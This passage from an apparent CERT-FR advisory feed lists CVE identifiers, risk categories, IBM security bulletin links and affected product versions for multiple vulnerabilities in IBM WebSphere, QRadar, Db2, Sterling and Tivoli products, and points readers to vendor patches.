"url": "https://www.cve.org/CVERecord?id=CVE-2026-33871"
},
{
"name": "CVE-2026-59996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59996"
},
{
"name": "CVE-2026-41254",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
},
{
"name": "CVE-2026-16923",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16923"
},
{
"name": "CVE-2026-59995",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
},
{
"name": "CVE-2026-16844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16844"
},
{
"name": "CVE-2026-16818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16818"
},
{
"name": "CVE-2026-50645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50645"
},
{
"name": "CVE-2026-17145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17145"
},
{
"name": "CVE-2026-6474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
},
{
"name": "CVE-2026-16973",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16973"
},
{
"name": "CVE-2026-16980",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16980"
},
{
"name": "CVE-2026-6472",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
},
{
"name": "CVE-2026-16936",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16936"
},
{
"name": "CVE-2026-15065",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15065"
},
{
"name": "CVE-2026-16944",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16944"
},
{
"name": "CVE-2026-16989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16989"
},
{
"name": "CVE-2026-15078",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15078"
},
{
"name": "CVE-2026-16882",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16882"
},
{
"name": "CVE-2026-8829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8829"
},
{
"name": "CVE-2026-16951",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16951"
},
{
"name": "CVE-2026-50560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
},
{
"name": "CVE-2026-16184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16184"
},
{
"name": "CVE-2026-19437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19437"
},
{
"name": "CVE-2026-19653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19653"
},
{
"name": "CVE-2026-18835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18835"
},
{
"name": "CVE-2026-59999",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
},
{
"name": "CVE-2026-16690",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16690"
},
{
"name": "CVE-2026-16243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16243"
},
{
"name": "CVE-2026-19446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19446"
},
{
"name": "CVE-2026-47010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
},
{
"name": "CVE-2026-16877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16877"
},
{
"name": "CVE-2026-16849",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16849"
},
{
"name": "CVE-2026-16846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16846"
},
{
"name": "CVE-2026-17040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17040"
},
{
"name": "CVE-2026-16952",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16952"
},
{
"name": "CVE-2026-17009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17009"
},
{
"name": "CVE-2026-17006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17006"
},
{
"name": "CVE-2026-17003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17003"
},
{
"name": "CVE-2026-22013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22013"
},
{
"name": "CVE-2026-47057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47057"
},
{
"name": "CVE-2026-16838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16838"
},
{
"name": "CVE-2026-22018",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22018"
},
{
"name": "CVE-2025-15649",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
},
{
"name": "CVE-2026-14525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14525"
},
{
"name": "CVE-2026-16997",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16997"
},
{
"name": "CVE-2026-14528",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14528"
},
{
"name": "CVE-2026-16822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16822"
},
{
"name": "CVE-2026-17000",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17000"
},
{
"name": "CVE-2026-16862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16862"
},
{
"name": "CVE-2026-2006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
},
{
"name": "CVE-2026-16837",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16837"
},
{
"name": "CVE-2026-16852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16852"
},
{
"name": "CVE-2026-6637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
},
{
"name": "CVE-2023-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
},
{
"name": "CVE-2026-17160",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17160"
},
{
"name": "CVE-2026-6473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
},
{
"name": "CVE-2026-16855",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16855"
},
{
"name": "CVE-2026-2005",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
},
{
"name": "CVE-2026-16922",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16922"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-66010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
},
{
"name": "CVE-2026-15061",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15061"
},
{
"name": "CVE-2026-16845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16845"
},
{
"name": "CVE-2026-16866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16866"
},
{
"name": "CVE-2026-17165",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17165"
},
{
"name": "CVE-2026-18828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18828"
},
{
"name": "CVE-2026-59880",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59880"
},
{
"name": "CVE-2026-16926",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16926"
},
{
"name": "CVE-2026-16847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16847"
},
{
"name": "CVE-2026-17124",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17124"
},
{
"name": "CVE-2026-44248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44248"
},
{
"name": "CVE-2026-16831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16831"
},
{
"name": "CVE-2026-16891",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16891"
},
{
"name": "CVE-2026-18840",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18840"
},
{
"name": "CVE-2026-18824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18824"
},
{
"name": "CVE-2026-17120",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17120"
},
{
"name": "CVE-2026-17007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17007"
},
{
"name": "CVE-2026-16834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16834"
},
{
"name": "CVE-2026-16897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16897"
},
{
"name": "CVE-2026-16656",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16656"
},
{
"name": "CVE-2026-17141",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17141"
},
{
"name": "CVE-2026-17422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17422"
},
{
"name": "CVE-2026-16958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16958"
},
{
"name": "CVE-2026-59997",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59997"
},
{
"name": "CVE-2026-15068",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15068"
},
{
"name": "CVE-2026-16945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16945"
},
{
"name": "CVE-2026-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14512"
},
{
"name": "CVE-2026-10842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10842"
},
{
"name": "CVE-2026-16850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16850"
},
{
"name": "CVE-2026-16928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16928"
},
{
"name": "CVE-2026-16703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16703"
},
{
"name": "CVE-2026-16909",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16909"
},
{
"name": "CVE-2026-16943",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16943"
},
{
"name": "CVE-2026-16885",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16885"
},
{
"name": "CVE-2026-17171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17171"
},
{
"name": "CVE-2026-17118",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17118"
},
{
"name": "CVE-2026-16883",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16883"
},
{
"name": "CVE-2026-16836",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16836"
},
{
"name": "CVE-2026-48962",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
},
{
"name": "CVE-2026-17163",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17163"
},
{
"name": "CVE-2026-14974",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14974"
},
{
"name": "CVE-2026-18842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18842"
},
{
"name": "CVE-2026-16927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16927"
},
{
"name": "CVE-2026-16819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16819"
},
{
"name": "CVE-2026-47027",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
},
{
"name": "CVE-2026-47058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
},
{
"name": "CVE-2026-16991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16991"
},
{
"name": "CVE-2026-16441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
},
{
"name": "CVE-2026-16824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16824"
},
{
"name": "CVE-2026-16890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16890"
},
{
"name": "CVE-2026-60002",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60002"
},
{
"name": "CVE-2026-8368",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8368"
},
{
"name": "CVE-2026-14529",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14529"
},
{
"name": "CVE-2026-16686",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16686"
},
{
"name": "CVE-2026-19442",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19442"
},
{
"name": "CVE-2026-17159",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17159"
},
{
"name": "CVE-2026-17122",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17122"
},
{
"name": "CVE-2026-17152",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17152"
},
{
"name": "CVE-2026-18670",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18670"
},
{
"name": "CVE-2026-16901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16901"
},
{
"name": "CVE-2026-6478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
},
{
"name": "CVE-2026-57819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57819"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2025-12818",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
},
{
"name": "CVE-2026-12087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
},
{
"name": "CVE-2026-18822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18822"
},
{
"name": "CVE-2026-17157",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17157"
},
{
"name": "CVE-2026-16894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16894"
},
{
"name": "CVE-2026-17425",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17425"
},
{
"name": "CVE-2026-16937",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16937"
},
{
"name": "CVE-2026-17423",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17423"
},
{
"name": "CVE-2026-16964",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16964"
},
{
"name": "CVE-2026-16814",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16814"
},
{
"name": "CVE-2026-16706",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16706"
},
{
"name": "CVE-2026-16913",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16913"
},
{
"name": "CVE-2026-6475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
},
{
"name": "CVE-2026-47063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
},
{
"name": "CVE-2026-16840",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16840"
},
{
"name": "CVE-2026-17170",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17170"
},
{
"name": "CVE-2026-14515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14515"
},
{
"name": "CVE-2026-22016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22016"
},
{
"name": "CVE-2026-22021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22021"
},
{
"name": "CVE-2026-16903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16903"
},
{
"name": "CVE-2026-22007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22007"
},
{
"name": "CVE-2026-16851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16851"
},
{
"name": "CVE-2026-47021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
},
{
"name": "CVE-2026-60001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
},
{
"name": "CVE-2026-34268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34268"
},
{
"name": "CVE-2026-64958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64958"
},
{
"name": "CVE-2026-17138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17138"
},
{
"name": "CVE-2026-16886",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16886"
},
{
"name": "CVE-2026-16914",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16914"
},
{
"name": "CVE-2026-16934",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16934"
},
{
"name": "CVE-2026-48959",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
},
{
"name": "CVE-2026-16911",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16911"
},
{
"name": "CVE-2026-18716",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18716"
},
{
"name": "CVE-2025-12817",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
},
{
"name": "CVE-2026-17136",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17136"
},
{
"name": "CVE-2026-59879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59879"
},
{
"name": "CVE-2026-46968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
},
{
"name": "CVE-2026-16817",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16817"
},
{
"name": "CVE-2026-16996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16996"
},
{
"name": "CVE-2026-14446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14446"
},
{
"name": "CVE-2026-6477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
},
{
"name": "CVE-2026-8723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8723"
},
{
"name": "CVE-2026-16842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16842"
},
{
"name": "CVE-2026-19783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19783"
},
{
"name": "CVE-2026-16439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
},
{
"name": "CVE-2026-19449",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19449"
},
{
"name": "CVE-2026-19448",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19448"
},
{
"name": "CVE-2026-17060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17060"
},
{
"name": "CVE-2026-48043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
},
{
"name": "CVE-2026-16888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16888"
},
{
"name": "CVE-2026-16825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16825"
},
{
"name": "CVE-2026-16864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16864"
},
{
"name": "CVE-2026-17436",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17436"
},
{
"name": "CVE-2026-18832",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18832"
},
{
"name": "CVE-2026-47244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
},
{
"name": "CVE-2026-60000",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60000"
},
{
"name": "CVE-2026-8400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8400"
},
{
"name": "CVE-2026-2003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
},
{
"name": "CVE-2026-16874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16874"
},
{
"name": "CVE-2026-16829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16829"
},
{
"name": "CVE-2026-16821",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16821"
},
{
"name": "CVE-2026-16946",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16946"
},
{
"name": "CVE-2026-16833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16833"
},
{
"name": "CVE-2026-16865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16865"
},
{
"name": "CVE-2026-16917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16917"
},
{
"name": "CVE-2026-16925",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16925"
},
{
"name": "CVE-2026-16875",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16875"
},
{
"name": "CVE-2026-16869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16869"
},
{
"name": "CVE-2026-16935",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16935"
},
{
"name": "CVE-2026-54225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54225"
},
{
"name": "CVE-2026-16919",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16919"
},
{
"name": "CVE-2026-17024",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17024"
},
{
"name": "CVE-2026-16839",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16839"
},
{
"name": "CVE-2026-2004",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
},
{
"name": "CVE-2026-17195",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17195"
},
{
"name": "CVE-2026-17142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17142"
},
{
"name": "CVE-2026-17424",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17424"
},
{
"name": "CVE-2026-14970",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14970"
},
{
"name": "CVE-2026-16841",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16841"
},
{
"name": "CVE-2026-16816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16816"
},
{
"name": "CVE-2026-60147",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
},
{
"name": "CVE-2026-16848",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16848"
},
{
"name": "CVE-2026-16872",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16872"
},
{
"name": "CVE-2026-17168",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17168"
},
{
"name": "CVE-2026-16932",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16932"
},
{
"name": "CVE-2026-16924",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16924"
},
{
"name": "CVE-2026-16873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16873"
},
{
"name": "CVE-2026-47059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
},
{
"name": "CVE-2026-16827",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16827"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-16972",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16972"
},
{
"name": "CVE-2026-17121",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17121"
}
],
"initial_release_date": "2026-08-21T00:00:00",
"last_revision_date": "2026-08-21T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1067",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-21T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Injection SQL (SQLi)"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-08-17",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7283940",
"url": "https://www.ibm.com/support/pages/node/7283940"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284109",
"url": "https://www.ibm.com/support/pages/node/7284109"
},
{
"published_at": "2026-08-14",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7283824",
"url": "https://www.ibm.com/support/pages/node/7283824"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284195",
"url": "https://www.ibm.com/support/pages/node/7284195"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284194",
"url": "https://www.ibm.com/support/pages/node/7284194"
},
{
"published_at": "2026-08-17",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7283946",
"url": "https://www.ibm.com/support/pages/node/7283946"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284191",
"url": "https://www.ibm.com/support/pages/node/7284191"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284196",
"url": "https://www.ibm.com/support/pages/node/7284196"
},
{
"published_at": "2026-08-20",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284352",
"url": "https://www.ibm.com/support/pages/node/7284352"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284192",
"url": "https://www.ibm.com/support/pages/node/7284192"
},
{
"published_at": "2026-08-15",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7283858",
"url": "https://www.ibm.com/support/pages/node/7283858"
},
{
"published_at": "2026-08-17",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7283975",
"url": "https://www.ibm.com/support/pages/node/7283975"
},
{
"published_at": "2026-08-19",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284257",
"url": "https://www.ibm.com/support/pages/node/7284257"
},
{
"published_at": "2026-08-18",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284189",
"url": "https://www.ibm.com/support/pages/node/7284189"
}
]
}
CERTFR-2026-AVI-1094
Vulnerability from certfr_avis - Published: 2026-08-28 - Updated: 2026-08-28
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | WebSphere | WebSphere Application Server Liberty versions 17.0.0.3 à 26.0.0.7 sans le correctif de sécurité PH71585 | ||
| IBM | QRadar | QRadar SIEM versions 7.5.x antérieures à 7.5.0 UP15 IF06 | ||
| IBM | Tivoli | Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de sécurité | ||
| IBM | Sterling | Sterling Control Center version 6.3.1.0 antérieure à 6.3.1.0 iFix11 | ||
| IBM | Db2 | Db2 versions 11.5.x antérieures à 11.5.9 sans le dernier correctif de sécurité | ||
| IBM | Sterling | Sterling Connect:Direct File Agent versions 1.4.0.3x à 1.4.0.5x antérieures à 1.4.0.5_iFix016 | ||
| IBM | Db2 | Db2 versions 12.1.x antérieures à 12.1.4 sans le dernier correctif de sécurité | ||
| IBM | Spectrum | Spectrum Control versions antérieures à 5.5 | ||
| IBM | Sterling | Sterling Control Center version 6.4.2.0 antérieure à 6.4.2.0 iFix06 | ||
| IBM | QRadar | QRadar SIEM versions 7.6.x antérieures à 7.6.0.3 | ||
| IBM | QRadar | Security QRadar EDR versions 3.12.x antérieures à 3.12.26 | ||
| IBM | WebSphere | WebSphere Hybrid Edition version 5.1 sans les correctifs de sécurité APAR DT496328, DT496327 et DT497580 | ||
| IBM | Db2 | Db2 Genius Hub & Agentics versions 1.1.x antérieures à 1.1.4 | ||
| IBM | Tivoli | Tivoli Application Dependency Discovery Manager versions 7.3.0.0 à 7.3.0.12 avec WebSphere Application Server Liberty versions antérieures à 26.0.0.8 | ||
| IBM | WebSphere | WebSphere Extreme Scale versions 8.6.1.x antérieures à 8.6.1.6 avec le correctif de sécurité PH72588 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.3.0.x antérieures à 6.3.0.7.iFix026 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.4.0.x antérieures à 6.4.0.6.iFix014 | ||
| IBM | QRadar | QRadar Suite Software versions 1.10.12.0 à 1.11.10.0 antérieures à 1.11.12.0 | ||
| IBM | QRadar | QRadar AI Assistant versions antérieures à 2.2.0 |
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "WebSphere Application Server Liberty versions 17.0.0.3 \u00e0 26.0.0.7 sans le correctif de s\u00e9curit\u00e9 PH71585",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP15 IF06",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.3.1.0 ant\u00e9rieure \u00e0 6.3.1.0 iFix11",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 11.5.x ant\u00e9rieures \u00e0 11.5.9 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct File Agent versions 1.4.0.3x \u00e0 1.4.0.5x ant\u00e9rieures \u00e0 1.4.0.5_iFix016",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 12.1.x ant\u00e9rieures \u00e0 12.1.4 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Spectrum Control versions ant\u00e9rieures \u00e0 5.5",
"product": {
"name": "Spectrum",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.4.2.0 ant\u00e9rieure \u00e0 6.4.2.0 iFix06",
"product": {
"name": "Sterling",
"vendor": {
